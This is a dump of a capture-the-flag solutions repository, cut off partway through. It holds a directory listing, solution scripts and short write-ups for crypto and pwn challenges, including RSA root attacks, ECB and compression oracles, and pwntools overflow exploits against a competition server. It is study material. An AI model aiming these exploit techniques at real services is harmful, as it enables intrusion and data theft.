├── .gitignore ├── LICENSE ├── README.md ├── circlecitycon-2021 ├── baby-crt-rsa │ ├── decrypt.py │ └── find_N.sage ├── baby-meadows │ ├── decrypt.py │ └── writeup.md ├── baby-rsa │ ├── rsa.py │ └── writeup.md ├── fawn-cdn │ └── exploit.py ├── guardian │ ├── exploit.py │ └── writeup.md ├── little │ └── writeup.md ├── lork │ ├── libfast.py │ └── writeup.md └── weird-rop │ ├── exploit.py │ ├── gadgets │ └── weird.asm ├── cryptohack ├── bean-counter │ ├── bean_counter.py │ └── writeup.md ├── crossed-wires │ └── decrypt.py ├── ctrime │ ├── ctrime.py │ └── writeup.md ├── curves-and-logs │ └── curves-and-logs.py ├── ecb-oracle │ ├── ecb_oracle.py │ └── writeup.md ├── efficient-exchange │ ├── decrypt.py │ └── decrypt_08c0fede9185868aba4a6ae21aca0148.py ├── endless-emails │ ├── decrypt.py │ └── output_0ef6d6343784e59e2f44f61d2d29896f.txt ├── everything-is-still-big │ └── decrypt.py ├── export-grade │ └── decrypt.py ├── flipping-cookie │ ├── flipping_cookie.py │ └── writeup.md ├── lazy-cbc │ ├── lazy_cbc.py │ └── writeup.md ├── md0 │ └── md0.py ├── modulus-inutilis │ └── decrypt.py ├── parameter-injection │ └── exploit.py ├── point-addition │ └── point-addition.py ├── ron-was-wrong,whit-is-right │ └── decrypt.py ├── scalar-multiplication │ └── scalar-multiplication.py ├── smooth-criminal │ ├── decrypt.sage │ └── source_ba064d03b53a5fd7321dd0007b72906b.py ├── stream-consciousness │ ├── ciphers.txt │ ├── stream_consciousness.py │ └── writeup.md └── triple-des │ ├── triple_des.py │ └── writeup.md ├── ctflearn ├── 5x5 │ └── decode.py ├── abondoned-street-challenge2 │ ├── abondoned_street_challenge2.py │ └── writeup.md ├── alexctf-cr2-many-time-secrets │ ├── decrypt.py │ └── writeup.md ├── bangalore-assembler-chall │ └── decode.c ├── bruXOR │ └── decrypt.py ├── calculat3-m3 │ └── writeup.md ├── copper-rsa-lattice │ └── decrypt.py ├── corrupted-file │ └── writeup.md ├── cryptoversing │ └── decrypt.py ├── don't-bump-your-header │ └── writeup.md ├── every-bit-counts │ ├── community-solution.py │ ├── exploit.c │ └── writeup.md ├── f1l3-m1x3r │ ├── fl4g.py │ └── writeup.md ├── fabrio's-nachos │ ├── base.txt │ └── decode.py ├── favorite-color │ ├── exploit.py │ └── writeup.md ├── hail-caesar │ └── hail-caesar.py ├── hisss │ └── hisss.py ├── image-magic │ ├── image-magic.py │ └── writeup.md ├── inj3ction-time │ └── writeup.md ├── jakarta │ ├── jakarta.py │ ├── jakarta_data.py │ └── writeup.md ├── jumper │ └── writeup.md ├── libraries │ ├── fake.mk │ ├── fakelib.c │ └── writeup.md ├── linear-feedback-shift-register │ ├── decrypt.py │ ├── secretMessage.hex │ └── writeup.md ├── mountain-man │ └── mountain-man.py ├── mr-bin │ ├── conv.py │ └── writeup.md ├── poor-login │ ├── exploit.py │ └── writeup.md ├── programming-a-language │ └── programming-a-language.py ├── py-dis │ ├── exploit.py │ └── writeup.md ├── python-reversal │ └── decode.py ├── ramada │ ├── exploit.py │ └── writeup.md ├── rangoon │ └── writeup.md ├── raspberry │ └── exploit.py ├── re-verse-dis │ └── find_passwd.py ├── read-in-color │ ├── read-in-color.py │ └── writeup.md ├── recklinghausen │ ├── exploit.py │ └── writeup.md ├── reverse-me │ ├── exploit.py │ └── writeup.md ├── rotterdam │ ├── rotterdam.asm │ ├── rotterdam.py │ └── writeup.md ├── rsa-beginner │ └── decrypt.py ├── rsa-noob │ └── decrypt.py ├── rsa-twins │ └── decrypt.py ├── shell-time │ ├── exploit.py │ └── writeup.md ├── simple-programming │ └── count.py ├── substitution-cipher │ ├── substitution.py │ └── substitution.txt ├── the-credit-card-fraudster │ └── recover.py ├── the-keymaker │ ├── the-keymaker.py │ └── writeup.md ├── the-simpsons │ ├── decrypt.py │ └── writeup.md ├── time-to-eat │ ├── exploit.py │ └── writeup.md ├── tony-stark's-message │ ├── decode.py │ └── writeup.md ├── we-want-nudes-instead-of-nukes │ ├── alter-msg.py │ └── writeup.md └── weird-calculator │ ├── exploit.py │ └── writeup.md ├── dawgctf-2021 ├── binary-bbomb │ ├── phase3.py │ ├── phase4.py │ ├── phase6.py │ └── writeup.md ├── bofit │ ├── explit.py │ └── writeup.md ├── cooking-the-ramen │ ├── cooking-the-ramen.jpg │ └── writeup.md ├── it's-not-rsa │ ├── enigma-machine-cyberchef.jpg │ └── writeup.md ├── jellypotters │ ├── jellypotters.py │ └── writeup.md ├── really-secure-algorithm │ ├── really-secure-algorithm.py │ └── writeup.md └── the-obligatory-rsa │ ├── the-obligatory-rsa.py │ └── writeup.md ├── dctf-2021 ├── a-simple-sp-box │ ├── decrypt.py │ └── writeup.md ├── baby-bof │ ├── exploit.py │ └── writeup.md ├── bell │ ├── exploit.py │ └── writeup.md ├── forgotten-secret │ ├── decrypt-rsa-cyberchef.jpg │ └── writeup.md ├── formats-last-theorem │ ├── exploit.py │ └── writeup.md ├── hotel-rop │ ├── exploit.py │ └── writeup.md ├── just-in-time │ ├── justintime.asm │ └── writeup.md ├── just-take-your-time │ ├── exploit.py │ └── writeup.md ├── pinch-me │ ├── exploit.py │ └── writeup.md ├── pwn-sanity-check │ ├── exploit.py │ └── writeup.md ├── readme │ ├── exploit.py │ └── writeup.md ├── this-one-is-really-basic │ ├── decode.py │ └── writeup.md └── tiny-interpreter │ └── writeup.md ├── foobarctf-2021 └── child-rev │ ├── find_flag.py │ └── writeup.md ├── glsc-ctf-2021 ├── collisions │ ├── arr.py │ ├── recover.cpp │ └── writeup.md ├── mr.roboto │ └── writeup.md └── scr1pt1ng │ ├── exploit.sh │ └── writeup.md ├── google-ctf-2019 ├── MicroServiceDaemonOS │ └── shellcode.py ├── bnv.web.ctfcompetition.com │ └── writeup.md ├── cryptoqkd.web.ctfcompetition.com │ ├── decode.sh │ ├── post.py │ └── qkd.py ├── dialtone │ └── writeup.md ├── jit │ ├── fancyjit │ │ ├── FancyJIT.java │ │ └── compiler.c │ └── shellcode.py └── malvertising │ ├── WFmJWvYBQmZnedwpdQBU.js │ ├── decode-metrics.html │ ├── metrics.js │ ├── npoTHyBXnpZWgLorNrYc.js │ ├── uHsdvEHFDwljZFhPyKxp.js │ └── writeup.md ├── hacker101-ctf ├── cody's-first-blog │ └── writeup.md ├── grayhatcon │ └── writeup.md ├── micro-cms-v2 │ └── writeup.md ├── model-e1337-rolling-code-lock │ └── writeup.md ├── photo-gallery │ └── writeup.md ├── postbook │ └── writeup.md └── xss-playground │ └── writeup.md ├── heroctf-v3 ├── JNI │ └── writeup.md ├── h4XOR │ ├── decrypt.py │ └── writeup.md ├── kernel-module-1 │ └── writeup.md ├── kernel-module-2 │ ├── decode_safe.py │ └── writeup.md ├── kernel-module-3 │ ├── ioctl.c │ └── writeup.md ├── ping-pong │ └── prog.py ├── pwnQL-1 │ └── writeup.md ├── pwnQL-2 │ ├── guess.py │ └── writeup.md ├── russian-doll │ └── flag.sh ├── self-control │ └── writeup.md ├── transfer │ └── writeup.md ├── win-but-twisted │ ├── exploit.py │ └── writeup.md └── you-should-die │ └── writeup.md ├── hsctf-8 ├── aptenodytes-forsteri │ ├── decode.py │ └── writeup.md ├── class-meets │ └── class-meets.py ├── extended-fibonacci-sequence │ └── fibonacci.py ├── extended-fibonacci-sequence2 │ └── fibonacci.py ├── lsblue │ ├── lsblue.py │ └── writeup.md ├── message-board │ ├── exploit.py │ └── writeup.md ├── multidimensional │ ├── decode.py │ └── writup.md ├── not-really-math │ └── not-really-math.py ├── queen-of-the-hill │ └── writeup.md ├── regulus-satrapa │ ├── decrypt.py │ └── writeup.md ├── seeded-randomizer │ └── writeup.md ├── sneks │ ├── decode.py │ └── writeup.md └── warmup-rev │ └── decode.py ├── picoctf-2019 ├── AfterLife │ ├── shellcode.py │ └── vuln.c ├── CanaRy │ ├── shellcode.py │ └── vuln.c ├── HeapOverflow │ ├── shellcode.py │ └── vuln.c ├── L1m1tL335 │ ├── shellcode.py │ ├── vuln.c │ └── writeup.md ├── NewOverFlow-1 │ ├── shellcode.py │ └── vuln.c ├── NewOverFlow-2 │ ├── shellcode.py │ └── vuln.c ├── SecondLife │ ├── shellcode.py │ └── vuln.c ├── WhitePages │ ├── decode.py │ └── whitepages.txt ├── asm2 │ ├── test.S │ ├── translate.py │ └── writeup.md ├── c0rrupt │ ├── mystery │ ├── recover.py │ └── writeup.md ├── caesar │ ├── ciphertext │ └── decode.py ├── cereal-hacker1 │ └── writeup.md ├── cereal-hacker2 │ ├── admin.php │ ├── cookie.php │ ├── sql_connect.php │ └── writeup.md ├── empire1 │ └── writeup.md ├── got │ ├── shellcode.py │ ├── vuln.c │ └── writeup.md ├── leap-frog │ ├── rop.c │ ├── shellcode.py │ └── writeup.md ├── like1000 │ ├── untar.sh │ └── writeup.md ├── messy-malloc │ ├── auth.c │ ├── shellcode.py │ └── writeup.md ├── mr-worldwide │ └── writeup.md ├── overflow-0 │ └── shellcode.py ├── overflow-1 │ ├── vuln.c │ └── writeup.md ├── overflow-2 │ ├── vuln.c │ └── writeup.md ├── pointy │ ├── shellcode.py │ ├── vuln.c │ └── writeup.md ├── rop32 │ ├── shellcode.py │ └── vuln.c ├── rop64 │ ├── shellcode.py │ └── vuln.c ├── rot13 │ └── writeup.md ├── shark-on-wire1 │ ├── capture.pcap │ ├── extract_pcap.py │ └── writeup.md ├── slippery-shellcode │ ├── vuln.c │ └── writeup.md ├── stringzz │ ├── shellcode.py │ ├── vuln.c │ └── writeup.md └── the-numbers │ ├── decode.py │ └── writeup.md ├── picoctf-2020 ├── guessing-game1 │ ├── Makefile │ ├── shellcode.py │ ├── vuln.c │ └── writeup.md ├── guessing-game2 │ ├── Makefile │ ├── shellcode.py │ ├── vuln.c │ └── writeup.md ├── otp-implementation │ ├── flag.txt │ ├── otp.py │ └── writeup.md └── web-gauntlet │ └── writeup.md ├── pragyan-2021 ├── guessing-game │ ├── reverse.py │ └── writeup.md └── rusty-rev │ ├── decrypt_flag.py │ └── writeup.md ├── redpwn-2021 ├── baby │ └── decrypt.py ├── beginner-generic-pwn-number-0 │ └── exploit.py ├── bread-making │ └── exploit.py └── printf-please │ └── exploit.py └── umass21 ├── babushka ├── DSIIPABGWUFNMMMZAGWI.dis0.asm ├── DSIIPABGWUFNMMMZAGWI.dis1.asm ├── DSIIPABGWUFNMMMZAGWI.dis2.asm ├── babushka-simplify.py ├── babushka.py ├── key.py └── writeup.md ├── chains ├── generate_target_group.cpp ├── init_array.py ├── lookup.py └── writeup.md ├── easter-egg └── writeup.md ├── hermit-part1 └── writeup.md ├── malware ├── CTF-favicon.png.enc ├── decrypt.py ├── flag.txt.enc ├── malware.py ├── malware.py.enc ├── shopping_list.txt.enc └── writeup.md └── pikcha ├── pokemon.py └── writeup.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites [8/1 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | book 35 | __pycache__ 36 | *.gpr 37 | *.rep 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 One 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /circlecitycon-2021/baby-crt-rsa/decrypt.py: -------------------------------------------------------------------------------- 1 | from Cryptodome.Util import number 2 | import gmpy 3 | 4 | e = 3 5 | # N calculated from find_N.sage 6 | N = 187795925823734325427922129400903064447939230079749593582888955729233613927664963249253109445797881310600022107610063372163109680347351728106161259940132053843094520258298587300098649659086794250342183576016139529480708131865573815277186071689715560136272970295181972127809680913213315466857363592840734015631789901717416958763625579894203827173264533068928411411900434306159334166145601906949838378162268540176666151625668048199949727289362401385033442715204089618148304522761017721807220548062006257938216135412302607861485309850357047464137756090093147174466985388223476237618779397449867569762499553904537606950395560182967714513927555299260240145405337097541724441256522242351493898132661339746637960432365669179377375146876905861610710695642357915473770040937265038017475440256799871951819480154996649462065875190637650298268768632223305590541389220758177843962257602725068901998357847886097843725831692085292087342293328626211564879993107959726391583247091787672118640363796914156472420849303078305632328827952362595710204102897336000414029369544570370389149794466669907129497588557761458341467997245836443573184101088147352024805283420336966011949782437881061892874590468478282426014052996148571250702203577498897677913881903752762877594096034594195425068485720454216519907393575792021735978451081699399503002817458999501350160110440748525860129255899775473009074177252288293791544955724874319138044275542019473443141909056522597 7 | plain = gmpy.root(N, e)[0] 8 | print(number.long_to_bytes(int(plain))) 9 | # flag{infi_nite_jes_t} 10 | -------------------------------------------------------------------------------- /circlecitycon-2021/baby-meadows/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | Seeded-random number generator in Python give same sequence everytime. Using this feature, the random number sequence used to calculate cipher text was known. 3 | 4 | ```python 5 | >>> import random 6 | >>> random.seed(100) 7 | >>> random.randint(1,100) 8 | 19 9 | >>> random.randint(1,100) 10 | 59 11 | >>> random.randint(1,100) 12 | 59 13 | >>> random.randint(1,100) 14 | 99 15 | >>> random.randint(1,100) 16 | 23 17 | >>> random.seed(100) 18 | >>> random.randint(1,100) 19 | 19 20 | >>> random.randint(1,100) 21 | 59 22 | >>> random.randint(1,100) 23 | 59 24 | >>> random.randint(1,100) 25 | 99 26 | >>> random.randint(1,100) 27 | 23 28 | ``` 29 | 30 | Assume ``r = pow(g, random.randrange(2, p-1), p)``, iterate through all possible characters to find plaintext that makes ``m * r % plaintext == cipher``. 31 | 32 | ```python 33 | for c in ciphers: 34 | r = pow(g, random.randrange(2, p-1), p) 35 | for a in range(33, 127): 36 | if a * r % p == c: 37 | flag += chr(a) 38 | break 39 | 40 | print(flag) 41 | ``` 42 | 43 | In the end the script bring up the flag *CCC{f13ld5_4nd_1nv3rs3s}*. 44 | -------------------------------------------------------------------------------- /circlecitycon-2021/baby-rsa/rsa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import gmpy 3 | from Cryptodome.Util import number 4 | 5 | plain, _ =gmpy.root(80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504, 3) 6 | print(number.long_to_bytes(int(plain))) 7 | -------------------------------------------------------------------------------- /circlecitycon-2021/baby-rsa/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | The encryption used a small *e*, so find the *e-th* root of *ct* to decrypt it. 3 | 4 | ```python 5 | e = 3 6 | 7 | n = 21240130069302595435883573568292543584653982426668643904196630885984119007899960150162877143271928662185885422702123670222165981446412189843665571992895649937195036232374014356896167929469467494531756153911013832353810970941919101050971790197002016280790620714887304192321101311465703150098410331176735899796484284165771555960758054286754565310439163189954842301676099617954811528874343372426916478057819577132937062857039063351856289801979923260408285890418889829381378968646646737194160697920287161229178345666260994127087040393511692642122516019055570881253021165130706539874713965212158253699181636631222365809257 8 | 9 | ct = 80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504 10 | ``` 11 | 12 | ```python 13 | plain, _ =gmpy.root(80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504, 3) 14 | print(number.long_to_bytes(int(plain))) 15 | ``` 16 | 17 | The decrypted message was the flag ``short_and_to_the_point``. 18 | -------------------------------------------------------------------------------- /circlecitycon-2021/fawn-cdn/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | 4 | host = "35.224.135.84" 5 | port = 1001 6 | target = "fawncdn-a3cd1758f2755c61a18f59a10dd6d1ab" 7 | 8 | def list_file(pr): 9 | pr.sendlineafter('cmd> ', str(1)) 10 | line = pr.readuntil('at ') 11 | addr = pr.readline().strip().split(b'"')[0] 12 | return int(addr, 16) 13 | 14 | def delivery_file(pr, payload): 15 | payload = str(3).encode() + payload 16 | pr.sendlineafter('cmd> ', payload) 17 | 18 | def exploit(remote=False): 19 | if remote: 20 | pr = pwn.connect(host, port) 21 | else: 22 | pr = pwn.process(target) 23 | 24 | try: 25 | win = list_file(pr) 26 | payload = b'A'*15 + pwn.p64(win) 27 | delivery_file(pr, payload) 28 | img = pr.readuntil('\n1') 29 | with open('fawn.jpg', 'wb') as fd: 30 | fd.write(img) 31 | finally: 32 | pr.close() 33 | 34 | 35 | exploit(True) 36 | # CCC{th3y_w3r3nt_ly1ng_th1s_CDN_c4n_d3l1v3r} 37 | -------------------------------------------------------------------------------- /circlecitycon-2021/guardian/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import pwn 3 | import time 4 | 5 | 6 | host = "35.224.135.84" 7 | port = 2000 8 | target = "guardian-42da85fe8aa8940ca1e461a972ad574d" 9 | 10 | def guess(remote, flag): 11 | if remote: 12 | pr = pwn.connect(host, port) 13 | else: 14 | pr = pwn.process(target) 15 | 16 | try: 17 | pr.sendlineafter('\n> ', flag) 18 | ret = 0 19 | while True: 20 | line = pr.readline().strip() 21 | if line.startswith(b'Ho') or line.startswith(b'We'): 22 | break 23 | ret += len(line.split()) 24 | return ret 25 | finally: 26 | pr.close() 27 | 28 | def exploit(remote=False): 29 | 30 | flag = "CCC{" 31 | 32 | while True: 33 | for a in range(126, 32, -1): 34 | correct = guess(remote, flag+chr(a)) 35 | if correct == len(flag)+1: 36 | flag += chr(a) 37 | print(flag) 38 | break 39 | 40 | if flag.endswith('}'): 41 | break 42 | 43 | print(flag) 44 | 45 | exploit(True) 46 | -------------------------------------------------------------------------------- /circlecitycon-2021/little/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | There were four entries in *obj.funcs*, select option 3 to enter the hidden one. 3 | 4 | ```asm 5 | 0x00401d38 8b052aa60c00 mov eax, dword [obj.modded] ; [0x4cc368:4]=20 6 | 0x00401d3e b 83f814 cmp eax, 0x14 ; rax 7 | ``` 8 | 9 | In option 3, it requires *obj.modded* to be *0x14* to go on. *obj.modded* is increamented by one every time enter option 1, so selected option 1 for 20 times then option 3, it printed the flag. 10 | 11 | ```bash 12 | flag{b4bys73p5upt3hm0un741n} 13 | ``` 14 | -------------------------------------------------------------------------------- /circlecitycon-2021/lork/libfast.py: -------------------------------------------------------------------------------- 1 | class 我: 2 | def __init__(self, n=None): 3 | self.n = n 4 | self.depth = 0 5 | 6 | 7 | def 非(a): 8 | h = 我() 9 | h.depth = a 10 | return h 11 | 12 | 13 | def 常(a): 14 | return a.depth 15 | 16 | 17 | def 需(a): 18 | return a 19 | 20 | 21 | def 要(a, b): 22 | h = 我() 23 | h.depth = a.depth + b.depth 24 | return h 25 | 26 | 27 | def 放(a, b): 28 | h = 我() 29 | h.depth = a.depth - b.depth 30 | return h 31 | 32 | 33 | def 屁(a, b): 34 | h = 我() 35 | h.depth = a.depth * b.depth 36 | return h 37 | 38 | 39 | def 然(a, b): 40 | h = 我() 41 | h.depth = a.depth % b.depth 42 | return h 43 | 44 | 45 | def 後(a, b): 46 | h = 我() 47 | h.depth = pow(a.depth, b.depth) 48 | return h 49 | 50 | 51 | def 睡(a, b, m): 52 | h = 我() 53 | h.depth = pow(a.depth, b.depth, m.depth) 54 | return h 55 | 56 | 57 | def 覺(n): 58 | print(chr(常(n)), end="", flush=True) 59 | 60 | -------------------------------------------------------------------------------- /circlecitycon-2021/lork/writeup.md: -------------------------------------------------------------------------------- 1 | Functions in given lib module *lib-7f31611a11cc4383f173fae857587a59.py* wasted lots of time to create objects. Result of each function is related to the depth of objects. Analyzed the results with test data, I rewrote the *lib* module as below. 2 | 3 | ```python 4 | class 我: 5 | def __init__(self, n=None): 6 | self.n = n 7 | self.depth = 0 8 | 9 | 10 | def 非(a): 11 | h = 我() 12 | h.depth = a 13 | return h 14 | 15 | 16 | def 常(a): 17 | return a.depth 18 | 19 | 20 | def 需(a): 21 | return a 22 | 23 | 24 | def 要(a, b): 25 | h = 我() 26 | h.depth = a.depth + b.depth 27 | return h 28 | 29 | 30 | def 放(a, b): 31 | h = 我() 32 | h.depth = a.depth - b.depth 33 | return h 34 | 35 | 36 | def 屁(a, b): 37 | h = 我() 38 | h.depth = a.depth * b.depth 39 | return h 40 | 41 | 42 | def 然(a, b): 43 | h = 我() 44 | h.depth = a.depth % b.depth 45 | return h 46 | 47 | 48 | def 後(a, b): 49 | h = 我() 50 | h.depth = pow(a.depth, b.depth) 51 | return h 52 | 53 | 54 | def 睡(a, b, m): 55 | h = 我() 56 | h.depth = pow(a.depth, b.depth, m.depth) 57 | return h 58 | 59 | 60 | def 覺(n): 61 | print(chr(常(n)), end="", flush=True) 62 | ``` 63 | 64 | 65 | With faster version of *lib* module, *flag-674073a02c07184baaa6973219490ef3.py* printed the flag. 66 | 67 | ```bash 68 | CCC{m4Th_w1tH_L1Nk3d_l1$t5} 69 | ``` 70 | -------------------------------------------------------------------------------- /cryptohack/bean-counter/bean_counter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | 4 | def encrypt(): 5 | url = "http://aes.cryptohack.org/bean_counter/encrypt/" 6 | rsp = requests.get(url) 7 | return rsp.json()['encrypted'] 8 | 9 | png_hdr = bytes([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52]) 10 | encrypted = bytes.fromhex(encrypt()) 11 | 12 | keystream = [] 13 | for i in range(len(png_hdr)): 14 | keystream.append(png_hdr[i] ^ encrypted[i]) 15 | 16 | print(keystream) 17 | 18 | png = [0]*len(encrypted) 19 | for i in range(len(encrypted)): 20 | png[i] = encrypted[i] ^ keystream[i%len(keystream)] 21 | 22 | with open('bean_counter.png', 'wb') as fd: 23 | fd.write(bytes(png)) 24 | -------------------------------------------------------------------------------- /cryptohack/ctrime/ctrime.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import time 3 | import requests 4 | import string 5 | 6 | def print_blk(hex_blks, sz): 7 | for i in range(0, len(hex_blks), sz): 8 | print(hex_blks[i:i+sz], ' ', end='') 9 | print() 10 | 11 | def encrypt(plain): 12 | url = 'http://aes.cryptohack.org/ctrime/encrypt/' 13 | rsp = requests.get(url + plain + '/') 14 | return rsp.json()['ciphertext'] 15 | 16 | alphabet = '}'+'!'+'_'+'@'+'?'+string.ascii_uppercase+string.digits+string.ascii_lowercase 17 | 18 | def bruteforce(): 19 | 20 | flag = b'crypto{' 21 | cipher = encrypt(flag.hex()) 22 | mi = len(cipher) 23 | 24 | while True: 25 | for c in alphabet: 26 | cipher = encrypt((flag+c.encode()).hex()) 27 | print(c, len(cipher)) 28 | if mi == len(cipher): 29 | flag += c.encode() 30 | mi = len(cipher) 31 | print(mi, flag) 32 | break 33 | if c == alphabet[-1]: 34 | mi += 2 35 | break 36 | time.sleep(1) 37 | 38 | if flag.endswith(b'}'): 39 | print(flag) 40 | break 41 | 42 | bruteforce() 43 | -------------------------------------------------------------------------------- /cryptohack/curves-and-logs/curves-and-logs.py: -------------------------------------------------------------------------------- 1 | import math 2 | import hashlib 3 | from Crypto.Util import number 4 | 5 | O = 'Origin' 6 | 7 | def inv_mod(x, p): 8 | return pow(x, p-2, p) 9 | 10 | # Calculate S = P + Q 11 | def ecc_points_add(P, Q, a, p): 12 | 13 | if P == O: 14 | return Q 15 | if Q == O: 16 | return P 17 | 18 | if P[0] == Q[0] and P[1] == -Q[1]: 19 | return O 20 | 21 | if P != Q: 22 | lam = (Q[1]-P[1])*inv_mod(Q[0]-P[0], p) 23 | else: 24 | lam = (3*pow(P[0],2)+a)*inv_mod(2*P[1], p) 25 | 26 | x3 = pow(lam, 2) - P[0] - Q[0] 27 | x3 %= p 28 | y3 = lam*(P[0]-x3)-P[1] 29 | return (int(x3), int(y3%p)) 30 | 31 | # Calculate Q = nP 32 | def scalar_mul(P, n, a, p): 33 | R = O 34 | Q = P 35 | 36 | while n > 0: 37 | if n % 2 == 1: 38 | R = ecc_points_add(R, Q, a, p) 39 | Q = ecc_points_add(Q, Q, a, p) 40 | n = math.floor(n/2) 41 | return R 42 | 43 | """ 44 | A QA = nA*G 45 | B QB = nB*G 46 | A S = nA*QB 47 | B S = nB*QA 48 | """ 49 | # E: Y2 = X3 + 497 X + 1768, p: 9739, G: (1804,5368) 50 | a = 497 51 | b = 1768 52 | p = 9739 53 | 54 | # QA = (815, 3190), with your secret integer nB = 1829. 55 | nB = 1829 56 | QA = (815, 3190) 57 | S = scalar_mul(QA, nB, a, p) 58 | print(S) 59 | sha1 = hashlib.sha1() 60 | sha1.update(str(S[0]).encode()) 61 | print(sha1.hexdigest()) 62 | -------------------------------------------------------------------------------- /cryptohack/ecb-oracle/ecb_oracle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.Cipher import AES 3 | import requests 4 | import time 5 | import string 6 | 7 | def encrypt(payload): 8 | url = "http://aes.cryptohack.org/ecb_oracle/encrypt/" 9 | r = requests.get(url + payload + '/') 10 | return r.json()['ciphertext'] 11 | 12 | def print_blk(hex_blks, sz): 13 | for i in range(0, len(hex_blks), sz): 14 | print(hex_blks[i:i+sz], ' ', end='') 15 | print() 16 | 17 | def bruteforce(): 18 | flag = '' 19 | total = 32 - 1 20 | alphabet = '_'+'@'+'}'+string.digits+string.ascii_lowercase+string.ascii_uppercase 21 | 22 | while True: 23 | payload = '1' * (total-len(flag)) 24 | expected = encrypt(payload.encode().hex()) 25 | print('E', '', end='') 26 | print_blk(expected, 32) 27 | 28 | for c in alphabet: 29 | res = encrypt(bytes.hex((payload + flag + c).encode())) 30 | print(c, '', end='') 31 | print_blk(res, 32) 32 | if res[32:64] == expected[32:64]: 33 | flag += c 34 | print(flag) 35 | break 36 | time.sleep(1) 37 | 38 | if flag.endswith('}'): break 39 | 40 | print(flag) 41 | 42 | bruteforce() 43 | -------------------------------------------------------------------------------- /cryptohack/efficient-exchange/decrypt_08c0fede9185868aba4a6ae21aca0148.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad, unpad 3 | import hashlib 4 | 5 | 6 | def is_pkcs7_padded(message): 7 | padding = message[-message[-1]:] 8 | return all(padding[i] == len(padding) for i in range(0, len(padding))) 9 | 10 | 11 | def decrypt_flag(shared_secret: int, iv: str, ciphertext: str): 12 | # Derive AES key from shared secret 13 | sha1 = hashlib.sha1() 14 | sha1.update(str(shared_secret).encode('ascii')) 15 | key = sha1.digest()[:16] 16 | # Decrypt flag 17 | ciphertext = bytes.fromhex(ciphertext) 18 | iv = bytes.fromhex(iv) 19 | cipher = AES.new(key, AES.MODE_CBC, iv) 20 | plaintext = cipher.decrypt(ciphertext) 21 | 22 | if is_pkcs7_padded(plaintext): 23 | return unpad(plaintext, 16).decode('ascii') 24 | else: 25 | return plaintext.decode('ascii') 26 | 27 | """ 28 | shared_secret = ? 29 | iv = ? 30 | ciphertext = ? 31 | 32 | print(decrypt_flag(shared_secret, iv, ciphertext)) 33 | """ 34 | -------------------------------------------------------------------------------- /cryptohack/endless-emails/decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import gmpy 3 | from Cryptodome.Util import number 4 | from itertools import combinations 5 | 6 | 7 | def load_output(): 8 | ret = {'n':[], 'c':[]} 9 | with open("output_0ef6d6343784e59e2f44f61d2d29896f.txt", 'rb') as fd: 10 | while True: 11 | line = fd.readline() 12 | if not line: break 13 | line = line.strip().decode() 14 | if not line: continue 15 | 16 | k, v = line.split('=') 17 | k = k.strip() 18 | if k == 'e': 19 | continue 20 | ret[k].append(int(v)) 21 | 22 | return ret 23 | 24 | def decrypt(grps, e): 25 | for grp in combinations(zip(grps['n'], grps['c']), e): 26 | N = 1 27 | for x in grp: N *= x[0] 28 | 29 | M = 0 30 | for x in grp: 31 | M += x[1]*number.inverse(N//x[0], x[0])*(N//x[0]) 32 | M %= N 33 | 34 | m, exact = gmpy.root(M, e) 35 | if exact: 36 | print(number.long_to_bytes(m)) 37 | 38 | 39 | # Reference 40 | # [Hastad’s Broadcast Attack](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-2/) 41 | grps = load_output() 42 | decrypt(grps, 3) 43 | -------------------------------------------------------------------------------- /cryptohack/export-grade/decrypt.py: -------------------------------------------------------------------------------- 1 | """ 2 | Intercepted from Alice: {"supported": ["DH1536", 